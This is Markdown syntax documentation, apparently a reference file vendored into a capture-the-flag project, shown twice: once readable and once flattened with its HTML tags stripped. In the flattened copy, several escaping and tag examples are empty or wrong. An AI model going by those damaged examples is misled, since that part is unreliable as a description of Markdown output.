      Note that Markdown formatting syntax is not processed within block-level HTML tags. E.g., you can't use Markdown-style *emphasis* inside an HTML block.

      Span-level HTML tags -- e.g. <span>, <cite>, or <del> -- can be used anywhere in a Markdown paragraph, list item, or header. If you want, you can even use HTML tags instead of Markdown formatting; e.g. if you'd prefer to use HTML <a> or <img> tags instead of Markdown's link or image syntax, go right ahead.

      Unlike block-level HTML tags, Markdown syntax is processed within span-level tags.

      Automatic Escaping for Special Characters

      In HTML, there are two characters that demand special treatment: < and &. Left angle brackets are used to start tags; ampersands are used to denote HTML entities. If you want to use them as literal characters, you must escape them as entities, e.g. &lt;, and &amp;.

      Ampersands in particular are bedeviling for web writers. If you want to write about 'AT&T', you need to write 'AT&amp;T'. You even need to escape ampersands within URLs. Thus, if you want to link to:

      http://images.google.com/images?num=30&q=larry+bird
      

      you need to encode the URL as:

      http://images.google.com/images?num=30&amp;q=larry+bird
      

      in your anchor tag href attribute. Needless to say, this is easy to forget, and is probably the single most common source of HTML validation errors in otherwise well-marked-up web sites.

      Markdown allows you to use these characters naturally, taking care of all the necessary escaping for you. If you use an ampersand as part of an HTML entity, it remains unchanged; otherwise it will be translated into &amp;.

      So, if you want to include a copyright symbol in your article, you can write:

      &copy;
      

      and Markdown will leave it alone. But if you write:

      AT&T
      

      Markdown will translate it to:

      AT&amp;T
      

      Similarly, because Markdown supports inline HTML, if you use angle brackets as delimiters for HTML tags, Markdown will treat them as such. But if you write:

      4 < 5
      

      Markdown will translate it to:

      4 &lt; 5
      

      However, inside Markdown code spans and blocks, angle brackets and ampersands are always encoded automatically. This makes it easy to use Markdown to write about HTML code. (As opposed to raw HTML, which is a terrible format for writing about HTML syntax, because every single < and & in your example code needs to be escaped.)


      Block Elements

      Paragraphs and Line Breaks

      A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing but spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs.

      The implication of the "one or more consecutive lines of text" rule is that Markdown supports "hard-wrapped" text paragraphs. This differs significantly from most other text-to-HTML formatters (including Movable Type's "Convert Line Breaks" option) which translate every line break character in a paragraph into a <br /> tag.

      When you do want to insert a <br /> break tag using Markdown, you end a line with two or more spaces, then type return.

      Yes, this takes a tad more effort to create a <br />, but a simplistic "every line break is a <br />" rule wouldn't work for Markdown. Markdown's email-style blockquoting and multi-paragraph list items work best -- and look better -- when you format them with hard breaks.

      Markdown supports two styles of headers, Setext and atx.

      Setext-style headers are "underlined" using equal signs (for first-level headers) and dashes (for second-level headers). For example:

      This is an H1
      =============
      
      This is an H2
      -------------
      

      Any number of underlining ='s or -'s will work.

      Atx-style headers use 1-6 hash characters at the start of the line, corresponding to header levels 1-6. For example:

      # This is an H1
      
      ## This is an H2
      
      ###### This is an H6
      

      Optionally, you may "close" atx-style headers. This is purely cosmetic -- you can use this if you think it looks better. The closing hashes don't even need to match the number of hashes used to open the header. (The number of opening hashes determines the header level.) :

      # This is an H1 #
      
      ## This is an H2 ##
      
      ### This is an H3 ######
      

      Blockquotes

      Markdown uses email-style > characters for blockquoting. If you're familiar with quoting passages of text in an email message, then you know how to create a blockquote in Markdown. It looks best if you hard wrap the text and put a > before every line:

      > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
      > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
      > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
      > 
      > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
      > id sem consectetuer libero luctus adipiscing.
      

      Markdown allows you to be lazy and only put the > before the first line of a hard-wrapped paragraph:

      > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
      consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
      Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
      
      > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
      id sem consectetuer libero luctus adipiscing.
      

      Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by adding additional levels of >:

      > This is the first level of quoting.
      >
      > > This is nested blockquote.
      >
      > Back to the first level.
      

      Blockquotes can contain other Markdown elements, including headers, lists, and code blocks:

      > ## This is a header.
      > 
      > 1.   This is the first list item.
      > 2.   This is the second list item.
      > 
      > Here's some example code:
      > 
      >     return shell_exec("echo $input | $markdown_script");
      

      Any decent text editor should make email-style quoting easy. For example, with BBEdit, you can make a selection and choose Increase Quote Level from the Text menu.

      Lists

      Markdown supports ordered (numbered) and unordered (bulleted) lists.

      Unordered lists use asterisks, pluses, and hyphens -- interchangably -- as list markers:

      *   Red
      *   Green
      *   Blue
      

      is equivalent to:

      +   Red
      +   Green
      +   Blue
      

      and:

      -   Red
      -   Green
      -   Blue
      

      Ordered lists use numbers followed by periods:

      1.  Bird
      2.  McHale
      3.  Parish
      

      It's important to note that the actual numbers you use to mark the list have no effect on the HTML output Markdown produces. The HTML Markdown produces from the above list is:

      <ol>
      <li>Bird</li>
      <li>McHale</li>
      <li>Parish</li>
      </ol>
      

      If you instead wrote the list in Markdown like this:

      1.  Bird
      1.  McHale
      1.  Parish
      

      or even:

      3. Bird
      1. McHale
      8. Parish
      

      you'd get the exact same HTML output. The point is, if you want to, you can use ordinal numbers in your ordered Markdown lists, so that the numbers in your source match the numbers in your published HTML. But if you want to be lazy, you don't have to.

      If you do use lazy list numbering, however, you should still start the list with the number 1. At some point in the future, Markdown may support starting ordered lists at an arbitrary number.

      List markers typically start at the left margin, but may be indented by up to three spaces. List markers must be followed by one or more spaces or a tab.

      To make lists look nice, you can wrap items with hanging indents:

      *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
          Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
          viverra nec, fringilla in, laoreet vitae, risus.
      *   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
          Suspendisse id sem consectetuer libero luctus adipiscing.
      

      But if you want to be lazy, you don't have to:

      *   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
      Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
      viverra nec, fringilla in, laoreet vitae, risus.
      *   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
      Suspendisse id sem consectetuer libero luctus adipiscing.
      

      If list items are separated by blank lines, Markdown will wrap the items in <p> tags in the HTML output. For example, this input:

      *   Bird
      *   Magic
      

      will turn into:

      <ul>
      <li>Bird</li>
      <li>Magic</li>
      </ul>
      

      But this:

      *   Bird
      
      *   Magic
      

      will turn into:

      <ul>
      <li><p>Bird</p></li>
      <li><p>Magic</p></li>
      </ul>
      

      List items may consist of multiple paragraphs. Each subsequent paragraph in a list item must be intended by either 4 spaces or one tab:

      1.  This is a list item with two paragraphs. Lorem ipsum dolor
          sit amet, consectetuer adipiscing elit. Aliquam hendrerit
          mi posuere lectus.
      
          Vestibulum enim wisi, viverra nec, fringilla in, laoreet
          vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
          sit amet velit.
      
      2.  Suspendisse id sem consectetuer libero luctus adipiscing.
      

      It looks nice if you indent every line of the subsequent paragraphs, but here again, Markdown will allow you to be lazy:

      *   This is a list item with two paragraphs.
      
          This is the second paragraph in the list item. You're
      only required to indent the first line. Lorem ipsum dolor
      sit amet, consectetuer adipiscing elit.
      
      *   Another item in the same list.
      

      To put a blockquote within a list item, the blockquote's > delimiters need to be indented:

      *   A list item with a blockquote:
      
          > This is a blockquote
          > inside a list item.
      

      To put a code block within a list item, the code block needs to be indented twice -- 8 spaces or two tabs:

      *   A list item with a code block:
      
              <code goes here>
      

      It's worth noting that it's possible to trigger an ordered list by accident, by writing something like this:

      1986. What a great season.
      

      In other words, a number-period-space sequence at the beginning of a line. To avoid this, you can backslash-escape the period:

      1986\. What a great season.
      

      Code Blocks

      Pre-formatted code blocks are used for writing about programming or markup source code. Rather than forming normal paragraphs, the lines of a code block are interpreted literally. Markdown wraps a code block in both <pre> and <code> tags.

      To produce a code block in Markdown, simply indent every line of the block by at least 4 spaces or 1 tab. For example, given this input:

      This is a normal paragraph:
      
          This is a code block.
      

      Markdown will generate:

      <p>This is a normal paragraph:</p>
      
      <pre><code>This is a code block.
      </code></pre>
      

      One level of indentation -- 4 spaces or 1 tab -- is removed from each line of the code block. For example, this:

      Here is an example of AppleScript:
      
          tell application "Foo"
              beep
          end tell
      

      will turn into:

      <p>Here is an example of AppleScript:</p>
      
      <pre><code>tell application "Foo"
          beep
      end tell
      </code></pre>
      

      A code block continues until it reaches a line that is not indented (or the end of the article).

      Within a code block, ampersands (&) and angle brackets (< and >) are automatically converted into HTML entities. This makes it very easy to include example HTML source code using Markdown -- just paste it and indent it, and Markdown will handle the hassle of encoding the ampersands and angle brackets. For example, this:

          <div class="footer">
              &copy; 2004 Foo Corporation
          </div>
      

      will turn into:

      <pre><code>&lt;div class="footer"&gt;
          &amp;copy; 2004 Foo Corporation
      &lt;/div&gt;
      </code></pre>
      

      Regular Markdown syntax is not processed within code blocks. E.g., asterisks are just literal asterisks within a code block. This means it's also easy to use Markdown to write about Markdown's own syntax.

      Horizontal Rules

      You can produce a horizontal rule tag (<hr />) by placing three or more hyphens, asterisks, or underscores on a line by themselves. If you wish, you may use spaces between the hyphens or asterisks. Each of the following lines will produce a horizontal rule:

      * * *
      
      ***
      
      *****
      
      - - -
      
      ---------------------------------------
      
      _ _ _
      

      Span Elements

      Markdown supports two style of links: inline and reference.

      In both styles, the link text is delimited by [square brackets].

      To create an inline link, use a set of regular parentheses immediately after the link text's closing square bracket. Inside the parentheses, put the URL where you want the link to point, along with an optional title for the link, surrounded in quotes. For example:

      This is [an example](http://example.com/ "Title") inline link.
      
      [This link](http://example.net/) has no title attribute.
      

      Will produce:

      <p>This is <a href="http://example.com/" title="Title">
      an example</a> inline link.</p>
      
      <p><a href="http://example.net/">This link</a> has no
      title attribute.</p>
      

      If you're referring to a local resource on the same server, you can use relative paths:

      See my [About](/about/) page for details.
      

      Reference-style links use a second set of square brackets, inside which you place a label of your choosing to identify the link:

      This is [an example][id] reference-style link.
      

      You can optionally use a space to separate the sets of brackets:

      This is [an example] [id] reference-style link.
      

      Then, anywhere in the document, you define your link label like this, on a line by itself:

      [id]: http://example.com/  "Optional Title Here"
      

      That is:

      • Square brackets containing the link identifier (optionally indented from the left margin using up to three spaces);
      • followed by a colon;
      • followed by one or more spaces (or tabs);
      • followed by the URL for the link;
      • optionally followed by a title attribute for the link, enclosed in double or single quotes.

      The link URL may, optionally, be surrounded by angle brackets:

      [id]: <http://example.com/>  "Optional Title Here"
      

      You can put the title attribute on the next line and use extra spaces or tabs for padding, which tends to look better with longer URLs:

      [id]: http://example.com/longish/path/to/resource/here
          "Optional Title Here"
      

      Link definitions are only used for creating links during Markdown processing, and are stripped from your document in the HTML output.

      Link definition names may constist of letters, numbers, spaces, and punctuation -- but they are not case sensitive. E.g. these two links:

      [link text][a]
      [link text][A]
      

      are equivalent.

      The implicit link name shortcut allows you to omit the name of the link, in which case the link text itself is used as the name. Just use an empty set of square brackets -- e.g., to link the word "Google" to the google.com web site, you could simply write:

      [Google][]
      

      And then define the link:

      [Google]: http://google.com/
      

      Because link names may contain spaces, this shortcut even works for multiple words in the link text:

      Visit [Daring Fireball][] for more information.
      

      And then define the link:

      [Daring Fireball]: http://daringfireball.net/
      

      Link definitions can be placed anywhere in your Markdown document. I tend to put them immediately after each paragraph in which they're used, but if you want, you can put them all at the end of your document, sort of like footnotes.

      Here's an example of reference links in action:

      I get 10 times more traffic from [Google] [1] than from
      [Yahoo] [2] or [MSN] [3].
      
        [1]: http://google.com/        "Google"
        [2]: http://search.yahoo.com/  "Yahoo Search"
        [3]: http://search.msn.com/    "MSN Search"
      

      Using the implicit link name shortcut, you could instead write:

      I get 10 times more traffic from [Google][] than from
      [Yahoo][] or [MSN][].
      
        [google]: http://google.com/        "Google"
        [yahoo]:  http://search.yahoo.com/  "Yahoo Search"
        [msn]:    http://search.msn.com/    "MSN Search"
      

      Both of the above examples will produce the following HTML output:

      <p>I get 10 times more traffic from <a href="http://google.com/"
      title="Google">Google</a> than from
      <a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a>
      or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
      

      For comparison, here is the same paragraph written using Markdown's inline link style:

      I get 10 times more traffic from [Google](http://google.com/ "Google")
      than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
      [MSN](http://search.msn.com/ "MSN Search").
      

      The point of reference-style links is not that they're easier to write. The point is that with reference-style links, your document source is vastly more readable. Compare the above examples: using reference-style links, the paragraph itself is only 81 characters long; with inline-style links, it's 176 characters; and as raw HTML, it's 234 characters. In the raw HTML, there's more markup than there is text.

      With Markdown's reference-style links, a source document much more closely resembles the final output, as rendered in a browser. By allowing you to move the markup-related metadata out of the paragraph, you can add links without interrupting the narrative flow of your prose.

      Emphasis

      Markdown treats asterisks (*) and underscores (_) as indicators of emphasis. Text wrapped with one * or _ will be wrapped with an HTML <em> tag; double *'s or _'s will be wrapped with an HTML <strong> tag. E.g., this input:

      *single asterisks*
      
      _single underscores_
      
      **double asterisks**
      
      __double underscores__
      

      will produce:

      <em>single asterisks</em>
      
      <em>single underscores</em>
      
      <strong>double asterisks</strong>
      
      <strong>double underscores</strong>
      

      You can use whichever style you prefer; the lone restriction is that the same character must be used to open and close an emphasis span.

      Emphasis can be used in the middle of a word:

      un*fucking*believable
      

      But if you surround an * or _ with spaces, it'll be treated as a literal asterisk or underscore.

      To produce a literal asterisk or underscore at a position where it would otherwise be used as an emphasis delimiter, you can backslash escape it:

      \*this text is surrounded by literal asterisks\*
      

      Code

      To indicate a span of code, wrap it with backtick quotes (`). Unlike a pre-formatted code block, a code span indicates code within a normal paragraph. For example:

      Use the `printf()` function.
      

      will produce:

      <p>Use the <code>printf()</code> function.</p>
      

      To include a literal backtick character within a code span, you can use multiple backticks as the opening and closing delimiters:

      ``There is a literal backtick (`) here.``
      

      which will produce this:

      <p><code>There is a literal backtick (`) here.</code></p>
      

      The backtick delimiters surrounding a code span may include spaces -- one after the opening, one before the closing. This allows you to place literal backtick characters at the beginning or end of a code span:

      A single backtick in a code span: `` ` ``
      
      A backtick-delimited string in a code span: `` `foo` ``
      

      will produce:

      <p>A single backtick in a code span: <code>`</code></p>
      
      <p>A backtick-delimited string in a code span: <code>`foo`</code></p>
      

      With a code span, ampersands and angle brackets are encoded as HTML entities automatically, which makes it easy to include example HTML tags. Markdown will turn this:

      Please don't use any `<blink>` tags.
      

      into:

      <p>Please don't use any <code>&lt;blink&gt;</code> tags.</p>
      

      You can write this:

      `&#8212;` is the decimal-encoded equivalent of `&mdash;`.
      

      to produce:

      <p><code>&amp;#8212;</code> is the decimal-encoded
      equivalent of <code>&amp;mdash;</code>.</p>
      

      Images

      Admittedly, it's fairly difficult to devise a "natural" syntax for placing images into a plain text document format.

      Markdown uses an image syntax that is intended to resemble the syntax for links, allowing for two styles: inline and reference.

      Inline image syntax looks like this:

      ![Alt text](/path/to/img.jpg)
      
      ![Alt text](/path/to/img.jpg "Optional title")
      

      That is:

      • An exclamation mark: !;
      • followed by a set of square brackets, containing the alt attribute text for the image;
      • followed by a set of parentheses, containing the URL or path to the image, and an optional title attribute enclosed in double or single quotes.

      Reference-style image syntax looks like this:

      ![Alt text][id]
      

      Where "id" is the name of a defined image reference. Image references are defined using syntax identical to link references:

      [id]: url/to/image  "Optional title attribute"
      

      As of this writing, Markdown has no syntax for specifying the dimensions of an image; if this is important to you, you can simply use regular HTML <img> tags.


      Miscellaneous

      Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this:

      <http://example.com/>
      

      Markdown will turn this into:

      <a href="http://example.com/">http://example.com/</a>
      

      Automatic links for email addresses work similarly, except that Markdown will also perform a bit of randomized decimal and hex entity-encoding to help obscure your address from address-harvesting spambots. For example, Markdown will turn this:

      <address@example.com>
      

      into something like this:

      <a href="&#x6D;&#x61;i&#x6C;&#x74;&#x6F;:&#x61;&#x64;&#x64;&#x72;&#x65;
      &#115;&#115;&#64;&#101;&#120;&#x61;&#109;&#x70;&#x6C;e&#x2E;&#99;&#111;
      &#109;">&#x61;&#x64;&#x64;&#x72;&#x65;&#115;&#115;&#64;&#101;&#120;&#x61;
      &#109;&#x70;&#x6C;e&#x2E;&#99;&#111;&#109;</a>
      

      which will render in a browser as a clickable link to "address@example.com".

      (This sort of entity-encoding trick will indeed fool many, if not most, address-harvesting bots, but it definitely won't fool all of them. It's better than nothing, but an address published in this way will probably eventually start receiving spam.)

      Backslash Escapes

      Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML <em> tag), you can backslashes before the asterisks, like this:

      \*literal asterisks\*
      

      Markdown provides backslash escapes for the following characters:

      \   backslash
      `   backtick
      *   asterisk
      _   underscore
      {}  curly braces
      []  square brackets
      ()  parentheses
      #   hash mark
      +   plus sign
      -   minus sign (hyphen)
      .   dot
      !   exclamation mark
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Syntax.text ================================================ Markdown: Syntax ================ * [Overview](#overview) * [Philosophy](#philosophy) * [Inline HTML](#html) * [Automatic Escaping for Special Characters](#autoescape) * [Block Elements](#block) * [Paragraphs and Line Breaks](#p) * [Headers](#header) * [Blockquotes](#blockquote) * [Lists](#list) * [Code Blocks](#precode) * [Horizontal Rules](#hr) * [Span Elements](#span) * [Links](#link) * [Emphasis](#em) * [Code](#code) * [Images](#img) * [Miscellaneous](#misc) * [Backslash Escapes](#backslash) * [Automatic Links](#autolink) **Note:** This document is itself written using Markdown; you can [see the source for it by adding '.text' to the URL][src]. [src]: /projects/markdown/syntax.text * * *

      Overview

      Philosophy

      Markdown is intended to be as easy-to-read and easy-to-write as is feasible. Readability, however, is emphasized above all else. A Markdown-formatted document should be publishable as-is, as plain text, without looking like it's been marked up with tags or formatting instructions. While Markdown's syntax has been influenced by several existing text-to-HTML filters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4], [Grutatext] [5], and [EtText] [6] -- the single biggest source of inspiration for Markdown's syntax is the format of plain text email. [1]: http://docutils.sourceforge.net/mirror/setext.html [2]: http://www.aaronsw.com/2002/atx/ [3]: http://textism.com/tools/textile/ [4]: http://docutils.sourceforge.net/rst.html [5]: http://www.triptico.com/software/grutatxt.html [6]: http://ettext.taint.org/doc/ To this end, Markdown's syntax is comprised entirely of punctuation characters, which punctuation characters have been carefully chosen so as to look like what they mean. E.g., asterisks around a word actually look like \*emphasis\*. Markdown lists look like, well, lists. Even blockquotes look like quoted passages of text, assuming you've ever used email.

      Inline HTML

      Markdown's syntax is intended for one purpose: to be used as a format for *writing* for the web. Markdown is not a replacement for HTML, or even close to it. Its syntax is very small, corresponding only to a very small subset of HTML tags. The idea is *not* to create a syntax that makes it easier to insert HTML tags. In my opinion, HTML tags are already easy to insert. The idea for Markdown is to make it easy to read, write, and edit prose. HTML is a *publishing* format; Markdown is a *writing* format. Thus, Markdown's formatting syntax only addresses issues that can be conveyed in plain text. For any markup that is not covered by Markdown's syntax, you simply use HTML itself. There's no need to preface it or delimit it to indicate that you're switching from Markdown to HTML; you just use the tags. The only restrictions are that block-level HTML elements -- e.g. `
      `, ``, `
      `, `

      `, etc. -- must be separated from surrounding content by blank lines, and the start and end tags of the block should not be indented with tabs or spaces. Markdown is smart enough not to add extra (unwanted) `

      ` tags around HTML block-level tags. For example, to add an HTML table to a Markdown article: This is a regular paragraph.

      Foo
      This is another regular paragraph. Note that Markdown formatting syntax is not processed within block-level HTML tags. E.g., you can't use Markdown-style `*emphasis*` inside an HTML block. Span-level HTML tags -- e.g. ``, ``, or `` -- can be used anywhere in a Markdown paragraph, list item, or header. If you want, you can even use HTML tags instead of Markdown formatting; e.g. if you'd prefer to use HTML `` or `` tags instead of Markdown's link or image syntax, go right ahead. Unlike block-level HTML tags, Markdown syntax *is* processed within span-level tags.

      Automatic Escaping for Special Characters

      In HTML, there are two characters that demand special treatment: `<` and `&`. Left angle brackets are used to start tags; ampersands are used to denote HTML entities. If you want to use them as literal characters, you must escape them as entities, e.g. `<`, and `&`. Ampersands in particular are bedeviling for web writers. If you want to write about 'AT&T', you need to write '`AT&T`'. You even need to escape ampersands within URLs. Thus, if you want to link to: http://images.google.com/images?num=30&q=larry+bird you need to encode the URL as: http://images.google.com/images?num=30&q=larry+bird in your anchor tag `href` attribute. Needless to say, this is easy to forget, and is probably the single most common source of HTML validation errors in otherwise well-marked-up web sites. Markdown allows you to use these characters naturally, taking care of all the necessary escaping for you. If you use an ampersand as part of an HTML entity, it remains unchanged; otherwise it will be translated into `&`. So, if you want to include a copyright symbol in your article, you can write: © and Markdown will leave it alone. But if you write: AT&T Markdown will translate it to: AT&T Similarly, because Markdown supports [inline HTML](#html), if you use angle brackets as delimiters for HTML tags, Markdown will treat them as such. But if you write: 4 < 5 Markdown will translate it to: 4 < 5 However, inside Markdown code spans and blocks, angle brackets and ampersands are *always* encoded automatically. This makes it easy to use Markdown to write about HTML code. (As opposed to raw HTML, which is a terrible format for writing about HTML syntax, because every single `<` and `&` in your example code needs to be escaped.) * * *

      Block Elements

      Paragraphs and Line Breaks

      A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing but spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs. The implication of the "one or more consecutive lines of text" rule is that Markdown supports "hard-wrapped" text paragraphs. This differs significantly from most other text-to-HTML formatters (including Movable Type's "Convert Line Breaks" option) which translate every line break character in a paragraph into a `
      ` tag. When you *do* want to insert a `
      ` break tag using Markdown, you end a line with two or more spaces, then type return. Yes, this takes a tad more effort to create a `
      `, but a simplistic "every line break is a `
      `" rule wouldn't work for Markdown. Markdown's email-style [blockquoting][bq] and multi-paragraph [list items][l] work best -- and look better -- when you format them with hard breaks. [bq]: #blockquote [l]: #list Markdown supports two styles of headers, [Setext] [1] and [atx] [2]. Setext-style headers are "underlined" using equal signs (for first-level headers) and dashes (for second-level headers). For example: This is an H1 ============= This is an H2 ------------- Any number of underlining `=`'s or `-`'s will work. Atx-style headers use 1-6 hash characters at the start of the line, corresponding to header levels 1-6. For example: # This is an H1 ## This is an H2 ###### This is an H6 Optionally, you may "close" atx-style headers. This is purely cosmetic -- you can use this if you think it looks better. The closing hashes don't even need to match the number of hashes used to open the header. (The number of opening hashes determines the header level.) : # This is an H1 # ## This is an H2 ## ### This is an H3 ######

      Blockquotes

      Markdown uses email-style `>` characters for blockquoting. If you're familiar with quoting passages of text in an email message, then you know how to create a blockquote in Markdown. It looks best if you hard wrap the text and put a `>` before every line: > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse > id sem consectetuer libero luctus adipiscing. Markdown allows you to be lazy and only put the `>` before the first line of a hard-wrapped paragraph: > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by adding additional levels of `>`: > This is the first level of quoting. > > > This is nested blockquote. > > Back to the first level. Blockquotes can contain other Markdown elements, including headers, lists, and code blocks: > ## This is a header. > > 1. This is the first list item. > 2. This is the second list item. > > Here's some example code: > > return shell_exec("echo $input | $markdown_script"); Any decent text editor should make email-style quoting easy. For example, with BBEdit, you can make a selection and choose Increase Quote Level from the Text menu.

      Lists

      Markdown supports ordered (numbered) and unordered (bulleted) lists. Unordered lists use asterisks, pluses, and hyphens -- interchangably -- as list markers: * Red * Green * Blue is equivalent to: + Red + Green + Blue and: - Red - Green - Blue Ordered lists use numbers followed by periods: 1. Bird 2. McHale 3. Parish It's important to note that the actual numbers you use to mark the list have no effect on the HTML output Markdown produces. The HTML Markdown produces from the above list is:
      1. Bird
      2. McHale
      3. Parish
      If you instead wrote the list in Markdown like this: 1. Bird 1. McHale 1. Parish or even: 3. Bird 1. McHale 8. Parish you'd get the exact same HTML output. The point is, if you want to, you can use ordinal numbers in your ordered Markdown lists, so that the numbers in your source match the numbers in your published HTML. But if you want to be lazy, you don't have to. If you do use lazy list numbering, however, you should still start the list with the number 1. At some point in the future, Markdown may support starting ordered lists at an arbitrary number. List markers typically start at the left margin, but may be indented by up to three spaces. List markers must be followed by one or more spaces or a tab. To make lists look nice, you can wrap items with hanging indents: * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. But if you want to be lazy, you don't have to: * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. If list items are separated by blank lines, Markdown will wrap the items in `

      ` tags in the HTML output. For example, this input: * Bird * Magic will turn into:

      • Bird
      • Magic
      But this: * Bird * Magic will turn into:
      • Bird

      • Magic

      List items may consist of multiple paragraphs. Each subsequent paragraph in a list item must be intended by either 4 spaces or one tab: 1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit. 2. Suspendisse id sem consectetuer libero luctus adipiscing. It looks nice if you indent every line of the subsequent paragraphs, but here again, Markdown will allow you to be lazy: * This is a list item with two paragraphs. This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. * Another item in the same list. To put a blockquote within a list item, the blockquote's `>` delimiters need to be indented: * A list item with a blockquote: > This is a blockquote > inside a list item. To put a code block within a list item, the code block needs to be indented *twice* -- 8 spaces or two tabs: * A list item with a code block: It's worth noting that it's possible to trigger an ordered list by accident, by writing something like this: 1986. What a great season. In other words, a *number-period-space* sequence at the beginning of a line. To avoid this, you can backslash-escape the period: 1986\. What a great season.

      Code Blocks

      Pre-formatted code blocks are used for writing about programming or markup source code. Rather than forming normal paragraphs, the lines of a code block are interpreted literally. Markdown wraps a code block in both `
      ` and `` tags.
      
      To produce a code block in Markdown, simply indent every line of the
      block by at least 4 spaces or 1 tab. For example, given this input:
      
          This is a normal paragraph:
      
              This is a code block.
      
      Markdown will generate:
      
          

      This is a normal paragraph:

      This is a code block.
          
      One level of indentation -- 4 spaces or 1 tab -- is removed from each line of the code block. For example, this: Here is an example of AppleScript: tell application "Foo" beep end tell will turn into:

      Here is an example of AppleScript:

      tell application "Foo"
              beep
          end tell
          
      A code block continues until it reaches a line that is not indented (or the end of the article). Within a code block, ampersands (`&`) and angle brackets (`<` and `>`) are automatically converted into HTML entities. This makes it very easy to include example HTML source code using Markdown -- just paste it and indent it, and Markdown will handle the hassle of encoding the ampersands and angle brackets. For example, this: will turn into:
      <div class="footer">
              &copy; 2004 Foo Corporation
          </div>
          
      Regular Markdown syntax is not processed within code blocks. E.g., asterisks are just literal asterisks within a code block. This means it's also easy to use Markdown to write about Markdown's own syntax.

      Horizontal Rules

      You can produce a horizontal rule tag (`
      `) by placing three or more hyphens, asterisks, or underscores on a line by themselves. If you wish, you may use spaces between the hyphens or asterisks. Each of the following lines will produce a horizontal rule: * * * *** ***** - - - --------------------------------------- _ _ _ * * *

      Span Elements

      Markdown supports two style of links: *inline* and *reference*. In both styles, the link text is delimited by [square brackets]. To create an inline link, use a set of regular parentheses immediately after the link text's closing square bracket. Inside the parentheses, put the URL where you want the link to point, along with an *optional* title for the link, surrounded in quotes. For example: This is [an example](http://example.com/ "Title") inline link. [This link](http://example.net/) has no title attribute. Will produce:

      This is an example inline link.

      This link has no title attribute.

      If you're referring to a local resource on the same server, you can use relative paths: See my [About](/about/) page for details. Reference-style links use a second set of square brackets, inside which you place a label of your choosing to identify the link: This is [an example][id] reference-style link. You can optionally use a space to separate the sets of brackets: This is [an example] [id] reference-style link. Then, anywhere in the document, you define your link label like this, on a line by itself: [id]: http://example.com/ "Optional Title Here" That is: * Square brackets containing the link identifier (optionally indented from the left margin using up to three spaces); * followed by a colon; * followed by one or more spaces (or tabs); * followed by the URL for the link; * optionally followed by a title attribute for the link, enclosed in double or single quotes. The link URL may, optionally, be surrounded by angle brackets: [id]: "Optional Title Here" You can put the title attribute on the next line and use extra spaces or tabs for padding, which tends to look better with longer URLs: [id]: http://example.com/longish/path/to/resource/here "Optional Title Here" Link definitions are only used for creating links during Markdown processing, and are stripped from your document in the HTML output. Link definition names may constist of letters, numbers, spaces, and punctuation -- but they are *not* case sensitive. E.g. these two links: [link text][a] [link text][A] are equivalent. The *implicit link name* shortcut allows you to omit the name of the link, in which case the link text itself is used as the name. Just use an empty set of square brackets -- e.g., to link the word "Google" to the google.com web site, you could simply write: [Google][] And then define the link: [Google]: http://google.com/ Because link names may contain spaces, this shortcut even works for multiple words in the link text: Visit [Daring Fireball][] for more information. And then define the link: [Daring Fireball]: http://daringfireball.net/ Link definitions can be placed anywhere in your Markdown document. I tend to put them immediately after 